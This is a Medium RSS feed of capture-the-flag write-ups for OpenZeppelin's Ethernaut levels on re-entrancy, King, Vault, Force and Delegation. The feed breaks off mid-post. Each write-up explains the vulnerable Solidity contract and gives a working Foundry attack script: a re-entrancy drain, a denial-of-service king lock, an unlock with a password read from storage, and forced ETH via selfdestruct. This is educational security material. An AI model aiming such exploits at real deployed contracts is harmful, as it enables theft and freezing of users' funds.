<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Samtdomi on Medium]]></title>
        <description><![CDATA[Stories by Samtdomi on Medium]]></description>
        <link>https://medium.com/@samtdomi?source=rss-bb550bc56b53------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*s_5k-QlgsnbwLyAi</url>
            <title>Stories by Samtdomi on Medium</title>
            <link>https://medium.com/@samtdomi?source=rss-bb550bc56b53------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 12:38:25 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@samtdomi/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Ethernaut CTF (w/ Foundry) : Level 10: Re-entrancy]]></title>
            <link>https://medium.com/@samtdomi/ethernaut-ctf-w-foundry-level-10-re-entrancy-06264de78073?source=rss-bb550bc56b53------2</link>
            <guid isPermaLink="false">https://medium.com/p/06264de78073</guid>
            <category><![CDATA[smart-contract-blockchain]]></category>
            <category><![CDATA[smart-contract-security]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[smart-contract-auditing]]></category>
            <category><![CDATA[ethernaut]]></category>
            <dc:creator><![CDATA[Samtdomi]]></dc:creator>
            <pubDate>Sun, 17 Nov 2024 02:35:56 GMT</pubDate>
            <atom:updated>2024-11-17T02:35:56.734Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ik6E_IQHlDkNmgG3h2iTWw.png" /><figcaption>Ethernaut Challenge #10: Re-entrancy</figcaption></figure><h3>Ethernaut CTF (w/ Foundry) : Level 10: Re-entrancy</h3><h3>Step 1: Let’s Setup Foundry</h3><p>OpenZeppelin’s Ethernaut CTF suggests that we as auditors use Remix IDE to analyze each challenges’ smart contracts, write scripts, and solve the challenges. However, I will be using VSCode instead of Remix IDE so that I can use Foundry’s framework Forge. Foundry is incredibly fast, efficient, and uses only Solidity — making it my favorite framework to work with. However, using Foundry requires us to complete a few steps before we can begin the Ethernaut challenge.</p><h3>Installation</h3><ul><li>To install Foundry into VSCode, run the following in the command terminal</li></ul><pre>curl -L https://foundry.paradigm.xyz | bash<br>foundryup</pre><ul><li>Once installed, create a new foundry project using the following command in the terminal</li></ul><pre>forge init</pre><ul><li>Install OpenZeppelin contracts (not ethernaut challenge contracts, but OpenZeppelin standard contracts such as ERC20.sol). Run the following command in the terminal</li></ul><pre>forge install Openzeppelin/contract</pre><h3>Folders &amp; Structure</h3><p>Once, inititalized Foundry will create a new project template which will contain multiple folders, each for a specific purpose:</p><ul><li>src ethernaut challenge contracts will be placed in here</li><li>script our script contracts that we will create to solve the challenges</li><li>test test contracts</li><li>.env this is very important!! In here, you will create a PRIVATE_KEY variable that will store your metamask wallet private key which is connected to the Sepolia test network. Also, your metamask wallet address.</li></ul><h3>Challenge Overview</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nNDdtlpdN9mLr-o6mquMbw.png" /><figcaption>Challenge #10: re-entrancy</figcaption></figure><p>The title of this challenge gives us the method of attack — re-entrancy- which we will use to steal all of the ETH from the Reentrance smart contract. The challenge overview gives us some hints on how to carry out the exploit, and we will definitely use the hint “sometimes the best way to attack a contract is with another contract”.</p><h3>Smart Contract Overview</h3><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.6.12;<br><br>import &quot;openzeppelin-contracts-06/math/SafeMath.sol&quot;;<br><br>contract Reentrance {<br>    using SafeMath for uint256;<br><br>    mapping(address =&gt; uint256) public balances;<br><br>    function donate(address _to) public payable {<br>        balances[_to] = balances[_to].add(msg.value);<br>    }<br><br>    function balanceOf(address _who) public view returns (uint256 balance) {<br>        return balances[_who];<br>    }<br><br>    function withdraw(uint256 _amount) public {<br>        if (balances[msg.sender] &gt;= _amount) {<br>            (bool result,) = msg.sender.call{value: _amount}(&quot;&quot;);<br>            if (result) {<br>                _amount;<br>            }<br>            balances[msg.sender] -= _amount;<br>        }<br>    }<br><br>    receive() external payable {}<br>}</pre><ul><li>balances — a mapping used to store the value of ETH that an address has.</li><li>donate — this is a payable function takes as an input parameter address _to and adds it to the balances mapping. It also adds the msg.value (ETH sent in) to the balances mapping, adjusting the balance of the _to address.</li><li>withdraw — takes as an input parameter uint256 _amount, then proceeds to check if the msg.sender has equal or more than that amount. Next, _amount is sent to the msg.sender using the internal call opcode. Lastly, after sending the ETH, the balances mapping is updated by subtracting the _amount from the balances mapping.</li><li>receive — this function enables this smart contract to receive ETH.</li></ul><h3>Vulnerability</h3><p><strong>RE-ENTRANCY</strong></p><ul><li>re-entrancy is an attack vector that enables a function to continuously be called again before the termination of the initial function call, essentially allowing it to be “re-entered”. In more complex re-entrancy attacks, multiple functions can be called and serious damage can occur to a protocol.</li><li>re-entrancy attacks are only possible when a smart contract makes an external call to another smart contract (sending ETH, ERC20’s, calling a function) etc.</li><li>These external calls open the possibility for a malicious smart contract to re-enter and cause serious damage.</li><li>To mitigate the threat of re-entrancy, there is a golden rule that should be followed when creating and formatting a function: Checks -&gt; Effects -&gt; Interactions</li><li>Checks -&gt; Effects -&gt; Interactions : This is the order in which a function should be formatted.</li><li>Checks — any require statements, input validation checks, and other internal checks that a function can make.</li><li>Effects — state changes that are made as a result of running the function</li><li>Interactions — any external calls that the function makes. Sending ETH, calling a function from a separate contract, etc.</li></ul><p>This smart contract is secure and a re-entrancy attack is not a threat until…. The withdraw function — which DOES NOT FOLLOW CEI (checks -&gt; effects -&gt; interactions).</p><ul><li>The withdraw function sends ETH to the msg.sender using the internal low-level opcode (bool result , ) msg.sender.call{value: _amount)(&quot;&quot;);</li><li>Sending the ETH with call is an external call, it is only sending ETH, but if the address they are sending it to is a smart contract — the receive or fallback function of the malicious contract will be triggered and can have code that executes a re-entrancy attack.</li><li>THE VULNERABLE CODE: This line of code is the reason for the possible re-entrancy in this smart contract balances[msg.sender] -= _amount;</li><li>The above line of code happens AFTER the external call. Which means that a state change happens AFTER the external call -this order of operations opens the re-entrancy attack possibility.</li></ul><h3>Attack Strategy</h3><p>To execute this attack, we will have to create our own smart contracts which will carry out the re-entrancy attack.</p><pre>// SPDX-License-Identifier: MIT<br><br>pragma solidity ^0.8.0;<br><br>import {Reentrance} from &quot;../src/Reentrance.sol&quot;;<br>import {Script} from &quot;../lib/forge-std/src/Script.sol&quot;;<br><br><br>contract AttackNow {<br><br>        Reentrance public reentrance = Reentrance(payable(<br>            0x412076657279207374726f6e67207365637265742070617373776f7264203a29)<br>        );<br><br>        constructor() payable {<br>            reentrance.donate{value: 0.001 ether}(address(this));<br>        }<br><br>        function attack() external {<br>            reentrance.withdraw(0.001 ether);<br>        }<br><br>        receive() external payable {<br>            reentrance.withdraw(0.001 ether);<br>        }<br>    }<br><br><br>contract ReentranceAttack is Script {<br><br>    function run() external {<br>        vm.startBroadcast(vm.envUint(&quot;PRIVATE_KEY&quot;));<br><br>        AttackNow attackNow = new AttackNow{value: 0.001 ether}();<br>        attackNow.attack();<br><br>        vm.stopBroadcast();<br>    }<br><br>}</pre><h4>AttackNow</h4><ul><li>Store the newly deployed Reentrance contract, which is given to us by Ethernaut.</li><li>constructor — call thedonate function of Reentrance.sol— send ETH to the Reentrance smart contract and add our attacker contract address to the balances mapping and add the msg.value to our balance.</li><li>attack — This calls the withdraw function of Reentrance.sol</li><li>receive — This is the callback function that will be called and ran when Reentrance.sol send ETH to this contract after calling attack</li></ul><h4>ReentranceAttack</h4><ul><li>Deploys the AttackNow smart contract, sending 0.001 ether with the deployment.</li><li>Deploying AttackNow will run the constructor function and begin the attack.</li><li>Call the attack function of AttackNow — which will run the final steps of the attack.</li></ul><h3>Executing The Attack</h3><ul><li>To execute the attack, run the following command in the terminal:</li></ul><pre>forge script script/ReentranceAttack.s.sol --broadcast --tc ReentranceAttack</pre><h3>CHALLENGE COMPLETE!!!!!!</h3><p>After our attack has been executed on the Sepolia testnet, our last step will be to go the Ethernaut challenge and click “Submit Instance”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/0*B0LLdLazpD0jiMpp.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=06264de78073" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ethernaut CTF (w/ Foundry) : Level 9: King]]></title>
            <link>https://medium.com/@samtdomi/ethernaut-ctf-w-foundry-level-9-king-94fb8c36de2f?source=rss-bb550bc56b53------2</link>
            <guid isPermaLink="false">https://medium.com/p/94fb8c36de2f</guid>
            <category><![CDATA[smart-contract-auditing]]></category>
            <category><![CDATA[smart-contract-security]]></category>
            <category><![CDATA[smart-contract-blockchain]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[ethernaut]]></category>
            <dc:creator><![CDATA[Samtdomi]]></dc:creator>
            <pubDate>Sat, 16 Nov 2024 23:27:20 GMT</pubDate>
            <atom:updated>2024-11-16T23:27:20.397Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-S_h5GkUjKg-hf04lC8sFQ.png" /><figcaption>Ethernaut Challenge #9: King</figcaption></figure><h3>Ethernaut CTF (w/ Foundry) : Level 9: King</h3><h3>Step 1: Let’s Setup Foundry</h3><p>OpenZeppelin’s Ethernaut CTF suggests that we as auditors use Remix IDE to analyze each challenges’ smart contracts, write scripts, and solve the challenges. However, I will be using VSCode instead of Remix IDE so that I can use Foundry’s framework Forge. Foundry is incredibly fast, efficient, and uses only Solidity — making it my favorite framework to work with. However, using Foundry requires us to complete a few steps before we can begin the Ethernaut challenge.</p><h3>Installation</h3><ul><li>To install Foundry into VSCode, run the following in the command terminal</li></ul><pre>curl -L https://foundry.paradigm.xyz | bash<br>foundryup</pre><ul><li>Once installed, create a new foundry project using the following command in the terminal</li></ul><pre>forge init</pre><ul><li>Install OpenZeppelin contracts (not ethernaut challenge contracts, but OpenZeppelin standard contracts such as ERC20.sol). Run the following command in the terminal</li></ul><pre>forge install Openzeppelin/contract</pre><h3>Folders &amp; Structure</h3><p>Once, inititalized Foundry will create a new project template which will contain multiple folders, each for a specific purpose:</p><ul><li>src ethernaut challenge contracts will be placed in here</li><li>script our script contracts that we will create to solve the challenges</li><li>test test contracts</li><li>.env this is very important!! In here, you will create a PRIVATE_KEY variable that will store your metamask wallet private key which is connected to the Sepolia test network. Also, your metamask wallet address.</li></ul><h3>Challenge Overview</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*crjwHSkU59GLkoQPYO3jcg.png" /><figcaption>Challenge #9: King</figcaption></figure><p>This challenge enables anyone to become the new King by simply sending more ETH to the contract than the prize amount value. In doing so, the King is changed to the user that sent in the ETH.</p><p>To successfully complete this challenge, we have to make sure that we are the last King EVER — We have to succeed at never allowing this contract to grant a new king after us.</p><h3>Smart Contract Overview</h3><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.8.0;<br><br>contract King {<br>    address king;<br>    uint256 public prize;<br>    address public owner;<br><br>    constructor() payable {<br>        owner = msg.sender;<br>        king = msg.sender;<br>        prize = msg.value;<br>    }<br><br>    receive() external payable {<br>        require(msg.value &gt;= prize || msg.sender == owner);<br>        payable(king).transfer(msg.value);<br>        king = msg.sender;<br>        prize = msg.value;<br>    }<br><br>    function _king() public view returns (address) {<br>        return king;<br>    }<br>}</pre><ul><li>constructor — stores the msg.sender (the deployer) as the owner and king. Also, it stores the value of ETH sent in upon deployment as the prize value.</li><li>receive — This function is automatically called when ETH is sent directly to the smart contract.</li><li>First, it checks that the amount of ETH sent in is greater than or equal to the prize value OR the msg.sender is the owner.</li><li>Next, it transfers the ETH value of the prize to the current king address. HINT: it uses the internal transfer opcode to do so which we will take advantage of and abuse.</li><li>Lastly, it changes the king to the msg.sender and the prize value to the amount of ETH that was sent in.</li></ul><h3>Vulnerability</h3><h4>transfer opcode:</h4><ul><li>This is an internal opcode within solidity that is used to send ETH to another address, but it has some different functionality than the other internal functions that are used to send ETH, such as call.</li><li>This internal function has a check that requires that the address receiving the ETH can actually receive it — meaning it is an EOA account or a smart contract that has either: receive or fallback function.</li><li>If the smart contract does not have a receive or fallback function, it cannot receive ETH and this transfer will REVERT!</li></ul><h3>Attack Strategy</h3><p><strong>DENIAL OF SERVICE</strong></p><p>First, we need to gain status of king by sending in the ETH value of prize. After doing that, we need to make sure that no one else can ever dethrone us. We will do that by exploiting the use of the internal transfer function used in King.sol by creating a new smart contract that will become the king and not accept any transfers of ETH into it — always forcing the King.sol receive function to revert and keeping us as king forever.</p><p>To do this, we create our own script in Forge titled: KingAttack.s.sol. Within this script file, we will have 2 seperate smart contracts.</p><pre>// SPDX-License-Identifier: MIT<br><br>pragma solidity ^0.8.0;<br><br>import {King} from &quot;../src/King.sol&quot;;<br>import {Script} from &quot;../lib/forge-std/src/Script.sol&quot;;<br><br>contract ForeverKing {<br>    constructor(address _king) payable {<br>        payable(_king).call{value: msg.value}(&quot;&quot;);<br>    }<br>}<br><br>contract KingAttack is Script {<br>    King public king =<br>        King(<br>            payable(0x412076657279207374726f6e67207365637265742070617373776f7264203a29<br>        ));<br><br>    function run() external {<br>        vm.startBroadcast(vm.envUint(&quot;PRIVATE_KEY&quot;));<br><br>        uint256 prizeAmount = king.prize();<br><br>        new ForeverKing{value: prizeAmount}(address(king));<br><br>        vm.stopBroadcast();<br>    }<br>}</pre><h4>KingAttack:</h4><ul><li>We store the newly deployed instance of the King.sol challenge contract with its contract address, that we get from Ethernaut upon deployment.</li><li>Within the King smart contract, prize is stored as a public variable- in solidity, any public variable has an automatic getter function associated with it- so we can get the prize value from the King contract by calling it as if it was a function. We then store the value in our local variable prizeAmount.</li><li>Deploy ForeverKing with the address of the newly deployed King.sol contract, and transferring alongside the deployment, the ETH value of prizeAmount.</li></ul><h4>ForeverKing:</h4><ul><li>constructor — is payable allowing it to receive ETH upon deployment.</li><li>constructor — takes as an input parameter the address of the newly deployed King.sol smart contract.</li><li>Next, this contract sends ETH to the King.sol smart contract using the internal solidity function call — sending the ETH value of prize. That call will make the address of ForeverKing the new king of the King.sol smart contract as it is the msg.sender.</li><li>Most Importantly, there is no receive or fallback function within this contract. This contract will not be able to receive ETH from the King.sol smart contract when any other user attempts to become king.</li><li>At this point, King.sol is broken — DENIAL OF SERVICE — and ForeverKing is now the king FOREVER!!!!</li></ul><h3>Executing The Attack</h3><ul><li>To execute the attack, run the following command in the terminal:</li></ul><pre>forge script script/KingAttack.s.sol --broadcast --tc KingAttack</pre><h3>CHALLENGE COMPLETE!!!!!!</h3><p>After our attack has been executed on the Sepolia testnet, our last step will be to go the Ethernaut challenge and click “Submit Instance”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/0*H9bwre4JrgUFhf_I.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=94fb8c36de2f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ethernaut CTF (w/ Foundry) : Level 8: Vault]]></title>
            <link>https://medium.com/@samtdomi/ethernaut-ctf-w-foundry-level-8-vault-32b2b800ae01?source=rss-bb550bc56b53------2</link>
            <guid isPermaLink="false">https://medium.com/p/32b2b800ae01</guid>
            <category><![CDATA[ethernaut]]></category>
            <category><![CDATA[smart-contract-auditing]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[smart-contract-security]]></category>
            <category><![CDATA[smart-contract-blockchain]]></category>
            <dc:creator><![CDATA[Samtdomi]]></dc:creator>
            <pubDate>Sat, 16 Nov 2024 19:14:30 GMT</pubDate>
            <atom:updated>2024-11-16T19:14:30.378Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NYMTdJgnbl3uEkIt2eMZ8g.png" /><figcaption>Ethernaut Challenge 8: Vault</figcaption></figure><h3>Ethernaut CTF (w/ Foundry) : Level 8: Vault</h3><h3>Step 1: Let’s Setup Foundry</h3><p>OpenZeppelin’s Ethernaut CTF suggests that we as auditors use Remix IDE to analyze each challenges’ smart contracts, write scripts, and solve the challenges. However, I will be using VSCode instead of Remix IDE so that I can use Foundry’s framework Forge. Foundry is incredibly fast, efficient, and uses only Solidity — making it my favorite framework to work with. However, using Foundry requires us to complete a few steps before we can begin the Ethernaut challenge.</p><h3>Installation</h3><ul><li>To install Foundry into VSCode, run the following in the command terminal</li></ul><pre>curl -L https://foundry.paradigm.xyz | bash<br>foundryup</pre><ul><li>Once installed, create a new foundry project using the following command in the terminal</li></ul><pre>forge init</pre><ul><li>Install OpenZeppelin contracts (not ethernaut challenge contracts, but OpenZeppelin standard contracts such as ERC20.sol). Run the following command in the terminal</li></ul><pre>forge install Openzeppelin/contracts</pre><h3>Folders &amp; Structure</h3><p>Once, inititalized Foundry will create a new project template which will contain multiple folders, each for a specific purpose:</p><ul><li>src ethernaut challenge contracts will be placed in here</li><li>script our script contracts that we will create to solve the challenges</li><li>test test contracts</li><li>.env this is very important!! In here, you will create a PRIVATE_KEY variable that will store your metamask wallet private key which is connected to the Sepolia test network. Also, your metamask wallet address.</li></ul><h3>Challenge Overview</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ja1kKf8urCLH3H_0-7_frw.png" /><figcaption>Vault Challenge</figcaption></figure><p>This challenge is very straight-forward — unlock the vault, succeed.</p><h3>Smart Contract Overview</h3><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.8.0;<br><br>contract Vault {<br>    bool public locked;<br>    bytes32 private password;<br><br>    constructor(bytes32 _password) {<br>        locked = true;<br>        password = _password;<br>    }<br><br>    function unlock(bytes32 _password) public {<br>        if (password == _password) {<br>            locked = false;<br>        }<br>    }<br>}</pre><ul><li>constructor — takes as an input parameter bytes32 _password.</li><li>constructor — upon deployment, the lockedvariable is set to true, locking the vault completely. Also, the password variable is populated with the _password that was sent in as the argument upon deployment.</li><li>unlock — receives a parameter _password.</li><li>unlock — If the _password is the same as the password which was set in the constructor upon deployment, this function will change locked to FALSE. This will unlock the vault.</li><li>After the constructor, the vault should effectively be locked as the password should only be known by the deployer, and nobody else should be able to retrieve that password.</li></ul><h3>Vulnerability</h3><p>The blockchain IS NOT a place to store sensitive information. Blockchains are an ecosystem of transparency, allowing any data to be retrievable by anyone looking. Storing sensitive data on any blockchain is inadvisable and dangerous — in this case, the password can be retrieved.</p><h4>How To Retrieve The Password:</h4><ul><li>To retrieve this password, we must first know which blockchain that the smart contract was deployed to — in this case, Sepolia Testnet.</li><li>We will take an in depth look into the deployment and transactions of the smart contract by going to sepolia.etherscan.io and searching for the contract address of the new Vault instance.</li><li>We get the new instance of the Vault smart contract by inspecting the Ethernaut Challenge webpage:</li></ul><p><strong>Instance address</strong><br><strong>0x9C0B707D612240886ACbf25bE8363b3Dc220be53</strong></p><ul><li>Using this address, we will search fo r the smart contract in Sepolia.etherscan.io</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ri4TvhNUIZkBnRT9J8zxTw.png" /><figcaption>Search for smart contract address within Sepolia Etherscan</figcaption></figure><ul><li>Next, we will explore the smart contract to look for any state changes made within the smart contract (which will all happen at time of deployment).</li><li>We are looking for the state change of the password variable and hoping to find the address that it was changed to. To do this, we go to the state tab of the smart contract and inspect the transactions to try and find the password.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XX9SFA-oypy0RD9UeVzJ5w.png" /><figcaption>We find the password!!!!!</figcaption></figure><ul><li>WE FIND THE PASSWORD : 0x412076657279207374726f6e67207365637265742070617373776f7264203a29</li></ul><h3>Attack Strategy</h3><p>Now that we have the password , we have to create a new script in Foundry titled: VaultAttack.s.sol</p><pre>// SPDX-License-Identifier: MIT<br><br>pragma solidity ^0.8.0;<br><br>import {Vault} from &quot;../src/Vault.sol&quot;;<br>import {Script} from &quot;../lib/forge-std/src/Script.sol&quot;;<br><br>contract VaultAttack is Script {<br>    Vault public vault =<br>        Vault(0x9C0B707D612240886ACbf25bE8363b3Dc220be53);<br><br>    function run() external {<br>        vm.startBroadcast(vm.envUint(&quot;PRIVATE_KEY&quot;));<br><br>        vault.unlock(0x412076657279207374726f6e67207365637265742070617373776f7264203a29);<br><br>        vm.stopBroadcast();<br>    }<br>}</pre><ul><li>The only thing we need to do to unlock the vault and successfully complete this challenge is to call the unlock function within the Vault.sol smart contract</li><li>When calling unlock we pass in the retrieved password</li><li>Vault.sol will check that the password&#39;s match — and when they do, it will change the locked variable to true — Successfully unlocking the vault !!!!!!</li></ul><h3>Executing The Attack</h3><ul><li>To execute the attack, run the following command in the terminal:</li></ul><pre>forge script script/VaultAttack.s.sol --broadcast --tc </pre><h3>CHALLENGE COMPLETE!!!!!!</h3><p>After our attack has been executed on the Sepolia testnet, our last step will be to go the Ethernaut challenge and click “Submit Instance”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/0*mKj4vGcOIGHCpqHk.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=32b2b800ae01" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ethernaut CTF (w/ Foundry) : Level 6: Force]]></title>
            <link>https://medium.com/@samtdomi/ethernaut-ctf-w-foundry-level-6-force-39f7d6321205?source=rss-bb550bc56b53------2</link>
            <guid isPermaLink="false">https://medium.com/p/39f7d6321205</guid>
            <category><![CDATA[smart-contract-blockchain]]></category>
            <category><![CDATA[smart-contract-auditing]]></category>
            <category><![CDATA[smart-contract-security]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[ethernaut]]></category>
            <dc:creator><![CDATA[Samtdomi]]></dc:creator>
            <pubDate>Sat, 16 Nov 2024 18:37:02 GMT</pubDate>
            <atom:updated>2024-11-16T18:37:41.250Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PhRcd3E0vs4iYyoE_7e2nA.png" /></figure><h3>Ethernaut CTF (w/ Foundry) : Level 7: Force</h3><h3>Step 1: Let’s Setup Foundry</h3><p>OpenZeppelin’s Ethernaut CTF suggests that we as auditors use Remix IDE to analyze each challenges’ smart contracts, write scripts, and solve the challenges. However, I will be using VSCode instead of Remix IDE so that I can use Foundry’s framework Forge. Foundry is incredibly fast, efficient, and uses only Solidity — making it my favorite framework to work with. However, using Foundry requires us to complete a few steps before we can begin the Ethernaut challenge.</p><h3>Installation</h3><ul><li>To install Foundry into VSCode, run the following in the command terminal</li></ul><pre>curl -L https://foundry.paradigm.xyz | bash<br>foundryup</pre><ul><li>Once installed, create a new foundry project using the following command in the terminal</li></ul><pre>forge init</pre><ul><li>Install OpenZeppelin contracts (not ethernaut challenge contracts, but OpenZeppelin standard contracts such as ERC20.sol). Run the following command in the terminal</li></ul><pre>forge install Openzeppelin/contracts</pre><h3>Folders &amp; Structure</h3><p>Once, inititalized Foundry will create a new project template which will contain multiple folders, each for a specific purpose:</p><ul><li>src ethernaut challenge contracts will be placed in here</li><li>script our script contracts that we will create to solve the challenges</li><li>test test contracts</li><li>.env this is very important!! In here, you will create a PRIVATE_KEY variable that will store your metamask wallet private key which is connected to the Sepolia test network. Also, your metamask wallet address.</li></ul><h3>Challenge Overview</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nay6DASixdG1_UwEOHUCsA.png" /><figcaption>Challenge 7 Objectives</figcaption></figure><p>In this challenge, we are working with a smart contract that does not have the ability to receive ETH (or so it seems…..). To successfully complete the challenge we have to to find a way to send ETH to the smart contract and increase its ETH balance to greater than zero.</p><h3>Smart Contract Overview</h3><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.8.0;<br><br>contract Force { /*<br>                   MEOW ?<br>         /\_/\   /<br>    ____/ o o \<br>    /~____  =ø= /<br>    (______)__m_m)<br>                   */ }</pre><p>The Force smart contract is completely empty. Not only does it not have a constructor function, but it doesn’t have a fallback nor receive function — which allow the smart contract to receive ETH. Without the fallback or receive functions the smart contract cannot receive ETH…. possibly?</p><h3>Vulnerability</h3><h4>selfdestruct:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oyNYIp0V7Ww7picZtQGbmg.png" /><figcaption>Alchemy article on `selfdestruct` opcode</figcaption></figure><ul><li>The selfdestruct opcode is used to remove a smart contracts bytecode from the blockchain, effectively removing the smart contract from the blockchain ecosystem.</li><li>This opcode is limited to only being called IF it was written in advance in the smart contract before deployment. An attacker cannot go around calling selfdestruct and removing arbitray smart contracts from the blockchain.</li><li>selfdestruct takes 1 input paramater address — which will be the smart contract that will sent all of the ETH in the smart contract being destructed.</li><li>Even if the receiving smart contract does not have a fallback or receive function — the ETH will be forced into that smart contract.</li></ul><h3>Attack Strategy</h3><p>To successfully implement this attack and exploit the selfdestruct vulnerability — we will create a script file in Foundry titled ForceAttack.s.sol. This script file will contain 2 separate smart contracts: ShortLived and ForceAttack.</p><pre>// SPDX-License-Identifier: MIT<br><br>pragma solidity ^0.8.0;<br><br>import {Script} from &quot;../lib/forge-std/src/Script.sol&quot;;<br><br>contract ShortLived {<br>    constructor(address payable _forceContract) payable {<br>        selfdestruct(_forceContract);<br>    }<br>}<br><br>contract ForceAttack is Script {<br>    function run() external {<br>        vm.startBroadcast(vm.envUint(&quot;PRIVATE_KEY&quot;));<br><br>        new ShortLived{value: 20 wei}(<br>            payable(0x3C0e7879c205765eCa50dc1330a9Fbd3D1B4f54e)<br>        );<br><br>        vm.stopBroadcast();<br>    }<br>}</pre><h4>ShortLived:</h4><ul><li>This smart contract is created to be destructed, hence the name ShortLived.</li><li>constructor — receives an input parameter, which is the newly deployed address of the Force challenge smart contract. It also is payable which enables it to receive ETH upon deployment.</li><li>Within the constructor — the selfdestruct opcode is ran and the address of the Force smart contract is passed in as the target address for all of the ETH to be sent to.</li></ul><h4>ForceAttack:</h4><ul><li>This smart contract will deploy the ShortLived smart contract — sending in 20 wei at the time of deployment.</li><li>Attack Executed !!!!!</li></ul><h3>Executing The Attack</h3><ul><li>To execute the attack, run the following command in the terminal:</li><li>Since we have 2 different smart contracts within this script file, we will have to add an additional command to the terminal to direct it only run the ForceAttack smart contract.</li></ul><pre>forge script script/DelegationAttack.s.sol --broadcast --tc ForceAttack</pre><h3>CHALLENGE COMPLETE!!!!!!</h3><p>After our attack has been executed on the Sepolia testnet, our last step will be to go the Ethernaut challenge and click “Submit Instance”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/0*hS7ZF0GzPLIYAa3l.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=39f7d6321205" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ethernaut CTF (w/ Foundry) : Level 6: Delegation]]></title>
            <link>https://medium.com/@samtdomi/ethernaut-ctf-w-foundry-level-6-delegation-aa6f5cdfc00a?source=rss-bb550bc56b53------2</link>
            <guid isPermaLink="false">https://medium.com/p/aa6f5cdfc00a</guid>
            <dc:creator><![CDATA[Samtdomi]]></dc:creator>
            <pubDate>Thu, 14 Nov 2024 19:18:20 GMT</pubDate>
            <atom:updated>2024-11-14T19:18:20.726Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y5GqSVbpA55bKio0N9ZgJQ.png" /><figcaption>Ethernaut Challenge #6: Delegation</figcaption></figure><h3>Ethernaut CTF (w/ Foundry) : Level 6: Delegation</h3><h3>Step 1: Let’s Setup Foundry</h3><p>OpenZeppelin’s Ethernaut CTF suggests that we as auditors use Remix IDE to analyze each challenges’ smart contracts, write scripts, and solve the challenges. However, I will be using VSCode instead of Remix IDE so that I can use Foundry’s framework Forge. Foundry is incredibly fast, efficient, and uses only Solidity — making it my favorite framework to work with. However, using Foundry requires us to complete a few steps before we can begin the Ethernaut challenge.</p><h3>Installation</h3><ul><li>To install Foundry into VSCode, run the following in the command terminal</li></ul><pre>curl -L https://foundry.paradigm.xyz | bash<br>foundryup</pre><ul><li>Once installed, create a new foundry project using the following command in the terminal</li></ul><pre>forge init</pre><ul><li>Install OpenZeppelin contracts (not ethernaut challenge contracts, but OpenZeppelin standard contracts such as ERC20.sol). Run the following command in the terminal</li></ul><pre>forge install Openzeppelin/contracts</pre><h3>Folders &amp; Structure</h3><p>Once, inititalized Foundry will create a new project template which will contain multiple folders, each for a specific purpose:</p><ul><li>src ethernaut challenge contracts will be placed in here</li><li>script our script contracts that we will create to solve the challenges</li><li>test test contracts</li><li>.env this is very important!! In here, you will create a PRIVATE_KEY variable that will store your metamask wallet private key which is connected to the Sepolia test network. Also, your metamask wallet address.</li></ul><h3>Challenge Overview</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OShEW_K7DTCQ8j8BWhRAHQ.png" /><figcaption>Challenge 6</figcaption></figure><p>This challenge gives us two separate smart contracts to work with: Delegate , Delegation. The challenge can only be completed by taking ownership of the Delegation smart contract.</p><h3>Smart Contract Overview</h3><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.8.0;<br><br>contract Delegate {<br>    address public owner;<br><br>    constructor(address _owner) {<br>        owner = _owner;<br>    }<br><br>    function pwn() public 